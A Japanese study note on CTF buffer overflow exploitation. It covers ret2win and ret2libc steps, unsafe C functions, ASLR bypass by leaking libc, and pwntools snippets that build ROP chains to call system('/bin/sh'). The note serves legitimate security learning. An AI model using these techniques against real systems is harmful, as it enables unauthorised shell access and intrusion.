BOF 攻撃のパターン

BOF(バッファオーバフロー)の解き方 ret2win編

  • 挙動を確認する
  • fileコマンド、checksecコマンドを実行する
  • ソースコードを確認する(あれば)
  • BOFの原因となる関数が使われているかを確認する
関数 説明 攻撃の可否
scanf("%s", buf) 入力時に境界チェックを行わない 可
gets(buf) 入力時に境界チェックを行わない 可
strcpy(buf1, buf2) コピー時に境界チェックを行わない 可
strcat(buf1, buf2) 連結時に境界チェックを行わない 可
sprintf(buf, format …) 書式適用後、境界チェックせずに入力し、NULL バイトを置く 可
fgets(buf, 40, stdin) 境界チェック (40バイト) を行って入力する 不可
  • 使われている場所を確認する(main関数内?main関数から呼ばれてる関数内?)
  • flagが出力される関数のアドレスを確認する(flagの関数がない場合ret2libcかも)
  • retrunアドレスまでのoffsetを確認する(pedaならproc 200、pwntoolsならcyclic)
  • pwntoolsでsolverを書く
    • offset+flag関数のアドレスを入力に設定

例題) pico CTF buffer over flow 1

next⇒

BOF(バッファオーバフロー)の解き方 ret2libc編

  • BOFの脆弱性がある
  • win関数やshellを実行してくれる関数がない
  • shellを起動するためのものを探す
  • ASLR機構(アドレス空間配置のランダム化)が無効
  • system関数を探す p system
  • /bin/shのアドレスを探す strings -tx libc | grep /bin/sh
  • pwntoolsでsolverを書く

    • payload = offset+pop rdi ret+(/bin/shのアドレス+libcのアドレス)+system()のアドレス
  • Onegadgetを探す

    • 条件そろえる必要あり
    • 条件そろえるためのROPガジェットを見つける
  • ROP

ASLRの回避

ASLR機構とは、アドレスの配置をランダムにするセキュリティ機構

  • libcのアドレス、win関数のアドレスがどこにあるかわからない

libc内のprintf関数

libc内のput関数

libcのprintf関数とput関数のアドレス差は常に同じ

libcのアドレスがわかれば、どの関数でも実行可能

libcのアドレスをリークすればよい!!

ROPが必要不可欠

pwntoolsでsolverを書く

  • 問題に接続する
io = remote('127.0.0.1', 8080)
io = process('./vuln')
elf= ELF('./vuln')
問題に直接攻撃する際にはremote , ダウンロードしたファイルに攻撃する場合はprocess
  • 文字を受け取る
msg = io.recvuntil('> ')
Please enter your string: などの入力を促す文字を受け取る、書式に合わせて''の中を変更
  • 攻撃コード(payload)を組む
pack()
 数値をbytes型に変換する
 0xf7dc9cb0などのアドレスをb'\xb0\x9c\xdc\xf7'に変換、これがないとPC君はアドレスを理解してくれない
 
unpcack()
 bytes型を数値に変換する
 
symbol[]
関数のアドレスを取得する
elf.symbols['win']でwin関数のアドレス ※packが必要
  • 攻撃コードを送る
io.sendline(payload)
io.interactive()
  • ROPを作る
elf = ELF('challenge-binary')
rop = ROP(elf)
  • 現在のROPを出力する、ROPを使える(マシンが読める)ようにする
print(rop.dump())
# 0x0000: 'AAAA' 'AAAAAAAA'
# 0x0004: 'AAAA'
# 0x0008: 0x41d870 write(1, 2, 3)
# 0x000c: 'daaa' <return address>
# 0x0010: 0x1 arg0
# 0x0014: 0x2 arg1
# 0x0018: 0x3 arg2

rop.chain()
#AAAAAAAAp�A\x00daaa\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00
  • ROPに追加する
rop.raw('AAAAAAAA')
#payloadを組んでる感じ
  • Gadgetを探す
rop.raw(rop.find_gadget(['pop rdi', 'ret'])) # pop rdi; ret
  • libc上でROPを構築
libc = ELF('./libc.so.6')
rop = ROP(libc)
libc.address = 0xdeadbeef  #libcのベースアドレスを設定

bin_sh = next(libc.search(b'/bin/sh')) #/bin/shのアドレスを見つけてくれる

rop.system(bin_sh)  # rop.call(libc.system, [bin_sh])

rop.printf() #printfのアドレスを取得して追加してくれる

rop.printf(binary.got.printf)
#1. [pop rdi; ret]  # 引数レジスタrdiに値を設定するガジェット
#2. [binary.got.printf]  # printfのGOTエントリアドレス(第一引数)
#3. [printf@plt]  # printf関数を呼び出す